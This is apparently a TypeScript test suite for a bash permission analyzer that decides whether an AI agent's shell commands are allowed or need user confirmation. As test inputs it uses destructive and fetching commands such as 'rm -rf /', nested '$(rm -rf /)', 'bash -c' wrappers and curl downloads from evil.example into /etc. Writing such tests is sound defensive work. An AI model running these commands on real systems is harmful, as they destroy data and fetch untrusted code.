char-slop/ai-dots
ai dotfiles
git clone https://git.t4t.associates/char-slop/ai-dots
6ff1139
main
1import { describe , test } from "node:test" ; 2import assert from "node:assert/strict" ; 3import { 4analyzeBash , 5assessAnalysis , 6assessPath , 7type PermissionPolicy , 8} from "bash-effect-analyzer" ; 9import { resolvesToFilesystemRoot , rootTargetCommand } from "./root-target" ; 10 11const POLICY :PermissionPolicy = { 12cwd :"/home/u/proj" , 13allowedPrefixes :[], 14writablePaths :[], 15restrictReads :false , 16readablePaths :[], 17}; 18 19function withPolicy ( overrides :Partial < PermissionPolicy >) :PermissionPolicy { 20return { ...POLICY , ...overrides }; 21} 22 23async function decision ( cmd :string , policy :PermissionPolicy = POLICY ) { 24return assessAnalysis ( await analyzeBash ( cmd ), policy ); 25} 26 27describe ( "allowed-prefix matching is per-token, not substring" , () => { 28test ( "prefix `deploy staging` matches `deploy staging --force`" , async () => { 29const v = await decision ( "deploy staging --force" , withPolicy ({ allowedPrefixes :[ "deploy staging" ] })); 30assert . equal ( v . decision , "allow" ); 31}); 32 33test ( "prefix `deploy staging` does NOT match `deploy staging-x`" , async () => { 34const v = await decision ( "deploy staging-x" , withPolicy ({ allowedPrefixes :[ "deploy staging" ] })); 35assert . equal ( v . decision , "prompt" ); 36}); 37 38test ( "prefix `rm -rf` does NOT match `rm -rfv`" , async () => { 39const v = await decision ( "rm -rfv /tmp/x" , withPolicy ({ allowedPrefixes :[ "rm -rf" ] })); 40assert . equal ( v . decision , "prompt" ); 41}); 42 43test ( "bare-name prefix matches any args (and approves all effects)" , async () => { 44const v = await decision ( "curl -s https://evil.example/x -o /etc/x" , withPolicy ({ allowedPrefixes :[ "curl" ] })); 45assert . equal ( v . decision , "allow" ); 46}); 47}); 48 49describe ( "effect gating — the baseline model" , () => { 50test ( "read-only known commands produce no effects and pass" , async () => { 51assert . equal (( await decision ( "ls -la /tmp" )). decision , "allow" ); 52assert . equal (( await decision ( "wc -l /etc/passwd" )). decision , "allow" ); 53}); 54 55test ( "unknown commands prompt via their `unknown` effect" , async () => { 56const v = await decision ( "frobnicate --fast" ); 57assert . equal ( v . decision , "prompt" ); 58assert . ok ( v . promptReasons . some (( r ) => r . includes ( "unknown command: frobnicate" ))); 59}); 60 61test ( "reads anywhere are allowed" , async () => { 62assert . equal (( await decision ( "cat /etc/passwd" )). decision , "allow" ); 63}); 64 65test ( "mutations inside cwd are allowed (delete is gated as a write)" , async () => { 66assert . equal (( await decision ( "rm ./scratch.txt" )). decision , "allow" ); 67assert . equal (( await decision ( "cat foo | grep bar | sort" )). decision , "allow" ); 68}); 69 70test ( "mutations outside cwd prompt" , async () => { 71assert . equal (( await decision ( "rm -rf /" )). decision , "prompt" ); 72assert . equal (( await decision ( "cat foo | rm /etc/x" )). decision , "prompt" ); 73}); 74 75test ( "a command with no operands has no effects and passes" , async () => { 76// `rm` with no operands errors at runtime without touching anything. 77assert . equal (( await decision ( "rm" )). decision , "allow" ); 78}); 79 80test ( "no invocations at all (assignment, comment) is allowed" , async () => { 81assert . equal (( await decision ( "X=1" )). decision , "allow" ); 82assert . equal (( await decision ( "# just a comment" )). decision , "allow" ); 83}); 84 85test ( "unparseable input prompts" , async () => { 86assert . equal (( await decision ( 'echo "' )). decision , "prompt" ); 87}); 88}); 89 90describe ( "network effects" , () => { 91test ( "curl connect prompts" , async () => { 92const v = await decision ( "curl -s https://evil.example/x" ); 93assert . equal ( v . decision , "prompt" ); 94assert . ok ( v . promptReasons . some (( r ) => r . includes ( "network" ))); 95}); 96 97test ( "/allow curl approves the connect" , async () => { 98const v = await decision ( "curl -s https://evil.example/x" , withPolicy ({ allowedPrefixes :[ "curl" ] })); 99assert . equal ( v . decision , "allow" ); 100}); 101 102test ( "git push prompts (network + repo-state), git status passes" , async () => { 103assert . equal (( await decision ( "git push origin main" )). decision , "prompt" ); 104assert . equal (( await decision ( "git status --short" )). decision , "allow" ); 105assert . equal (( await decision ( "jj st" )). decision , "allow" ); 106}); 107}); 108 109describe ( "redirections" , () => { 110test ( "`>` to cwd-relative path is allowed" , async () => { 111assert . equal (( await decision ( "echo hi > out.txt" )). decision , "allow" ); 112}); 113 114test ( "`>` to absolute path outside cwd prompts" , async () => { 115const v = await decision ( "echo hi > /etc/passwd" ); 116assert . equal ( v . decision , "prompt" ); 117assert . ok ( v . promptReasons . some (( r ) => r . includes ( "/etc/passwd" ))); 118}); 119 120test ( "`<` for input never blocks (reads unrestricted)" , async () => { 121assert . equal (( await decision ( "cat < /etc/passwd" )). decision , "allow" ); 122}); 123 124test ( "`2>&1` fd duplication is harmless" , async () => { 125assert . equal (( await decision ( "ls 2>&1" )). decision , "allow" ); 126}); 127 128test ( "writes to a path in writablePaths are allowed by exact match" , async () => { 129const v = await decision ( "echo hi > /dev/null" , withPolicy ({ writablePaths :[ "/dev/null" ] })); 130assert . equal ( v . decision , "allow" ); 131assert . ok ( v . allowReasons . some (( r ) => r . includes ( "explicitly allowed" ))); 132}); 133 134test ( "writes inside a directory in writablePaths are allowed by prefix" , async () => { 135const v = await decision ( 136"echo hi > /tmp/scratch/out.txt" , 137withPolicy ({ writablePaths :[ "/tmp/scratch" ] }), 138); 139assert . equal ( v . decision , "allow" ); 140assert . ok ( v . allowReasons . some (( r ) => r . includes ( "inside /tmp/scratch" ))); 141}); 142 143test ( "an unknown command's redirect write still gates the path" , async () => { 144const v = await decision ( "frobnicate > out.txt" ); 145assert . equal ( v . decision , "prompt" ); 146assert . ok ( v . promptReasons . some (( r ) => r . includes ( "unknown command" ))); 147assert . ok ( ! v . promptReasons . some (( r ) => r . includes ( "out.txt" )), "cwd write should not itself prompt" ); 148}); 149}); 150 151describe ( "verdict reasons are deduplicated" , () => { 152test ( "repeated identical writes collapse to one reason" , async () => { 153const v = await decision ( "echo a > /etc/x; echo b > /etc/x; echo c > /etc/x" ); 154assert . equal ( v . promptReasons . filter (( r ) => r . includes ( "/etc/x" )). length , 1 ); 155}); 156 157test ( "distinct write targets remain distinct" , async () => { 158const v = await decision ( "echo a > /etc/x; echo b > /etc/y" ); 159assert . equal ( v . promptReasons . filter (( r ) => r . includes ( "writes to" )). length , 2 ); 160}); 161}); 162 163describe ( "commands with effect-escaping flags" , () => { 164test ( "`sort -o /etc/hosts` prompts (outside cwd)" , async () => { 165assert . equal (( await decision ( "sort -o /etc/hosts data" )). decision , "prompt" ); 166}); 167 168test ( "`sort -o ./local` is allowed (cwd-relative)" , async () => { 169assert . equal (( await decision ( "sort -o ./local data" )). decision , "allow" ); 170}); 171 172test ( "`sort --output=FILE` writes to FILE" , async () => { 173assert . equal (( await decision ( "sort --output=/etc/hosts data" )). decision , "prompt" ); 174}); 175 176test ( "unknown wrappers prompt regardless of their inner command" , async () => { 177assert . equal (( await decision ( "find . -exec cat {} \\;" )). decision , "prompt" ); 178assert . equal (( await decision ( "find . -exec rm {} \\;" )). decision , "prompt" ); 179assert . equal (( await decision ( "env LANG=C rm /tmp/x" )). decision , "prompt" ); 180assert . equal (( await decision ( "echo x | xargs rm" )). decision , "prompt" ); 181}); 182 183test ( "/allow find approves find and everything it runs" , async () => { 184const v = await decision ( "find . -exec rm {} \\;" , withPolicy ({ allowedPrefixes :[ "find" ] })); 185assert . equal ( v . decision , "allow" ); 186}); 187}); 188 189describe ( "security boundary — nested execution is gated by its own effects" , () => { 190test ( "`$(rm)` inside an arg surfaces rm's delete" , async () => { 191assert . equal (( await decision ( "echo $(rm -rf /)" )). decision , "prompt" ); 192}); 193 194test ( "backtick `rm` surfaces the delete" , async () => { 195assert . equal (( await decision ( "echo `rm -rf /`" )). decision , "prompt" ); 196}); 197 198test ( "nested $() inside double-quoted string surfaces the delete" , async () => { 199assert . equal (( await decision ( 'echo "prefix $(rm /) suffix"' )). decision , "prompt" ); 200}); 201 202test ( "$() in assignment prefix surfaces the inner command" , async () => { 203assert . equal (( await decision ( "x=$(rm /) echo $x" )). decision , "prompt" ); 204}); 205 206test ( "an outer-allowed command does not whitewash an inner one" , async () => { 207const v = await decision ( "echo $(rm -rf /)" , withPolicy ({ allowedPrefixes :[ "echo" ] })); 208assert . equal ( v . decision , "prompt" ); 209}); 210 211test ( "process substitutions expose their inner commands" , async () => { 212assert . equal (( await decision ( "diff <(cat a) <(rm /b)" )). decision , "prompt" ); 213assert . equal (( await decision ( "cat foo > >(rm /b)" )). decision , "prompt" ); 214}); 215 216test ( "`bash -c` inner effects gate on their own" , async () => { 217const v = await decision ( "bash -c 'rm /etc/x'" ); 218assert . equal ( v . decision , "prompt" ); 219assert . ok ( v . promptReasons . some (( r ) => r . includes ( "/etc/x" ))); 220}); 221 222test ( "`bash -c` is transparent: /allow reaches the inner command" , async () => { 223// Exactly like a subshell: the inner invocation is gated by its own argv. 224assert . equal ( 225( await decision ( "bash -c 'rm /etc/x'" , withPolicy ({ allowedPrefixes :[ "rm" ] }))). decision , 226"allow" , 227); 228assert . equal ( 229( await decision ( "bash -c 'rm -rf /'" , withPolicy ({ allowedPrefixes :[ "rm -rf" ] }))). decision , 230"allow" , 231); 232assert . equal ( 233( await decision ( "bash -c 'curl -s https://evil.example'" , withPolicy ({ allowedPrefixes :[ "curl" ] }))). decision , 234"allow" , 235); 236}); 237 238test ( "`bash -c` transparency applies to sh and nests recursively" , async () => { 239assert . equal ( 240( await decision ( "sh -c 'rm /etc/x'" , withPolicy ({ allowedPrefixes :[ "rm" ] }))). decision , 241"allow" , 242); 243assert . equal ( 244( await decision ( "bash -c \"bash -c 'rm /etc/x'\"" , withPolicy ({ allowedPrefixes :[ "rm" ] }))). decision , 245"allow" , 246); 247assert . equal (( await decision ( "bash -c \"bash -c 'rm /etc/x'\"" )). decision , "prompt" ); 248}); 249 250test ( "`bash -c` transparency does not make /allow bash approve the innards" , async () => { 251// bash itself does nothing; only its own redirections belong to it. 252assert . equal ( 253( await decision ( "bash -c 'rm /etc/x'" , withPolicy ({ allowedPrefixes :[ "bash" ] }))). decision , 254"prompt" , 255); 256}); 257 258test ( "`bash -c 'x' > out` still gates the shell's own redirect" , async () => { 259assert . equal (( await decision ( "bash -c 'true' > /etc/out" )). decision , "prompt" ); 260assert . equal (( await decision ( "bash -c 'true' > out.txt" )). decision , "allow" ); 261}); 262 263test ( "`bash -c` with a dynamic source prompts" , async () => { 264assert . equal (( await decision ( "bash -c $script" )). decision , "prompt" ); 265}); 266}); 267 268describe ( "security boundary — control flow bodies" , () => { 269test ( "rm inside a case body is surfaced" , async () => { 270assert . equal (( await decision ( "case $x in foo) rm /etc/x ;; esac" )). decision , "prompt" ); 271}); 272 273test ( "rm inside a function body is surfaced" , async () => { 274assert . equal (( await decision ( "f() { rm /etc/x; }; f" )). decision , "prompt" ); 275}); 276 277test ( "rm inside a [[ ]] test operand is surfaced" , async () => { 278assert . equal (( await decision ( "[[ -f $(rm /etc/x) ]]" )). decision , "prompt" ); 279}); 280 281test ( "if/then walks both branches" , async () => { 282assert . equal (( await decision ( "if true; then rm /etc/x; else cat; fi" )). decision , "prompt" ); 283}); 284 285test ( "&& and || walk both sides" , async () => { 286assert . equal (( await decision ( "ls && rm /etc/x" )). decision , "prompt" ); 287}); 288 289test ( "subshell () walks contents" , async () => { 290assert . equal (( await decision ( "(cd /tmp && rm /etc/x)" )). decision , "prompt" ); 291}); 292}); 293 294describe ( "security boundary — heredocs and herestrings" , () => { 295test ( "`cat <<EOF` (data-only consumer) does not prompt" , async () => { 296assert . equal (( await decision ( "cat <<EOF\nhello world\nEOF" )). decision , "allow" ); 297}); 298 299test ( "`cat <<EOF` with `$(rm)` in body surfaces the delete" , async () => { 300assert . equal (( await decision ( "cat <<EOF\n$(rm -rf /)\nEOF" )). decision , "prompt" ); 301}); 302 303test ( "shell-fed bodies prompt via the shell's unknown effect" , async () => { 304assert . equal (( await decision ( "bash <<EOF\nrm -rf /\nEOF" )). decision , "prompt" ); 305assert . equal (( await decision ( "sh <<<'rm /'" )). decision , "prompt" ); 306}); 307 308test ( "`cat <<<text` (non-shell consumer) is just data" , async () => { 309assert . equal (( await decision ( "cat <<<hello" )). decision , "allow" ); 310}); 311}); 312 313describe ( "strict-reads mode" , () => { 314const STRICT = withPolicy ({ restrictReads :true }); 315 316test ( "reads are confined to cwd + readablePaths" , async () => { 317const v = await decision ( "cat < /etc/passwd" , STRICT ); 318assert . equal ( v . decision , "prompt" ); 319assert . ok ( v . promptReasons . some (( r ) => r . includes ( "/etc/passwd" ))); 320assert . equal (( await decision ( "cat < input.txt" , STRICT )). decision , "allow" ); 321assert . equal ( 322( await decision ( "cat < /etc/hostname" , withPolicy ({ restrictReads :true , readablePaths :[ "/etc" ] }))). decision , 323"allow" , 324); 325}); 326 327test ( "commands without read effects are unaffected (the loose version)" , async () => { 328assert . equal (( await decision ( "ls /tmp" , STRICT )). decision , "allow" ); 329assert . equal (( await decision ( "echo hi" , STRICT )). decision , "allow" ); 330}); 331 332test ( "write gating is unaffected by strict-reads" , async () => { 333assert . equal (( await decision ( "rm -rf /" , STRICT )). decision , "prompt" ); 334assert . equal (( await decision ( "rm ./scratch" , STRICT )). decision , "allow" ); 335}); 336 337test ( "unknown commands still prompt under strict-reads" , async () => { 338assert . equal (( await decision ( "frobnicate" , STRICT )). decision , "prompt" ); 339}); 340 341test ( "allowed prefixes still approve all effects" , async () => { 342const v = await decision ( "cat /etc/passwd" , withPolicy ({ restrictReads :true , allowedPrefixes :[ "cat" ] })); 343assert . equal ( v . decision , "allow" ); 344}); 345 346test ( "assessPath gates an absolute path outside cwd" , () => { 347assert . equal ( assessPath ( "read" , "/etc/passwd" , STRICT ). decision , "prompt" ); 348}); 349 350test ( "assessPath allows a path inside cwd" , () => { 351assert . equal ( assessPath ( "read" , "src/main.ts" , STRICT ). decision , "allow" ); 352}); 353 354test ( "assessPath with restrictReads off auto-allows anything" , () => { 355assert . equal ( assessPath ( "read" , "/etc/passwd" , POLICY ). decision , "allow" ); 356}); 357}); 358 359describe ( "direct file-write tool calls" , () => { 360test ( "write outside cwd prompts" , () => { 361assert . equal ( assessPath ( "write" , "/etc/x" , POLICY ). decision , "prompt" ); 362}); 363 364test ( "write inside cwd allows" , () => { 365assert . equal ( assessPath ( "write" , "src/x" , POLICY ). decision , "allow" ); 366}); 367}); 368 369describe ( "filesystem-root guard" , () => { 370test ( "recognizes root and equivalent paths" , () => { 371assert . equal ( resolvesToFilesystemRoot ( POLICY . cwd , "/" ), true ); 372assert . equal ( resolvesToFilesystemRoot ( POLICY . cwd , "/." ), true ); 373assert . equal ( resolvesToFilesystemRoot ( POLICY . cwd , "/tmp" ), false ); 374assert . equal ( resolvesToFilesystemRoot ( POLICY . cwd , "." ), false ); 375}); 376 377test ( "denies root as a find starting point" , async () => { 378assert . equal ( rootTargetCommand ( await analyzeBash ( "find / -name '*.ts'" ), POLICY . cwd ), "find" ); 379assert . equal ( rootTargetCommand ( await analyzeBash ( "find -H /" ), POLICY . cwd ), "find" ); 380}); 381 382test ( "does not mistake find expression arguments for starting points" , async () => { 383assert . equal ( rootTargetCommand ( await analyzeBash ( "find . -name /" ), POLICY . cwd ), undefined ); 384assert . equal ( rootTargetCommand ( await analyzeBash ( "find /tmp" ), POLICY . cwd ), undefined ); 385}); 386 387test ( "denies root as an rm operand, including nested shell commands" , async () => { 388assert . equal ( rootTargetCommand ( await analyzeBash ( "rm -rf /." ), POLICY . cwd ), "rm" ); 389assert . equal ( rootTargetCommand ( await analyzeBash ( "bash -c 'rm /'" ), POLICY . cwd ), "rm" ); 390}); 391 392for ( const command of [ 393"cd / && rm ." , 394"cd /; rm ." , 395"cd /tmp && rm .." , 396"cd / && bash -c 'rm .'" , 397"cd / && jj util exec -- rm ." , 398"echo $(cd / && rm .)" , 399"echo hi | cd /; rm ." , 400]) { 401test ( `cwd-aware rm root guard: ${ command } ` , async () => { 402assert . equal ( rootTargetCommand ( await analyzeBash ( command ), POLICY . cwd ), "rm" ); 403}); 404} 405 406for ( const command of [ 407"cd / && find ." , 408"cd / && find" , 409"cd / && find -name '*.ts'" , 410"cd / && find -H -D tree -name '*.ts'" , 411"cd / && bash -c 'find .'" , 412]) { 413test ( `cwd-aware find root guard: ${ command } ` , async () => { 414assert . equal ( rootTargetCommand ( await analyzeBash ( command ), POLICY . cwd ), "find" ); 415}); 416} 417 418for ( const command of [ 419"cd / || rm ." , 420"(cd /); rm ." , 421"cd / & rm ." , 422"cd / | cat; rm ." , 423"echo $(cd /); rm ." , 424"bash -c 'cd /'; rm ." , 425"cd / && find /tmp -name /" , 426'cd "$dir" && rm .' , 427]) { 428test ( `does not invent a root target: ${ command } ` , async () => { 429assert . equal ( rootTargetCommand ( await analyzeBash ( command ), POLICY . cwd ), undefined ); 430}); 431} 432}); 433 434describe ( "variable expansion in target paths" , () => { 435test ( "`echo hi > $f` prompts (dynamically-computed target)" , async () => { 436assert . equal (( await decision ( "echo hi > $f" )). decision , "prompt" ); 437}); 438 439test ( "`sort -o $out` prompts instead of resolving `$out` as a literal filename" , async () => { 440assert . equal (( await decision ( "sort -o $out data" )). decision , "prompt" ); 441}); 442 443test ( "`sort --output=$out` prompts (expansion lives mid-token after `=`)" , async () => { 444assert . equal (( await decision ( "sort --output=$out data" )). decision , "prompt" ); 445}); 446 447test ( "single-quoted `$` is literal — a concrete path inside cwd allows" , async () => { 448const v = await decision ( "sort -o '$out' data" ); 449assert . equal ( v . decision , "allow" ); 450assert . ok ( v . allowReasons . some (( r ) => r . includes ( "$out" ) && r . includes ( "inside cwd" ))); 451}); 452 453test ( "single-quoted absolute path outside cwd still gates the write" , async () => { 454assert . equal (( await decision ( "sort -o '/etc/$out' data" )). decision , "prompt" ); 455}); 456 457test ( "`rm $myVar` prompts (delete of a dynamically-computed path)" , async () => { 458assert . equal (( await decision ( "rm $myVar" )). decision , "prompt" ); 459}); 460 461test ( "a dynamic read is allowed when reads are unrestricted" , async () => { 462assert . equal (( await decision ( "cat $f" )). decision , "allow" ); 463}); 464});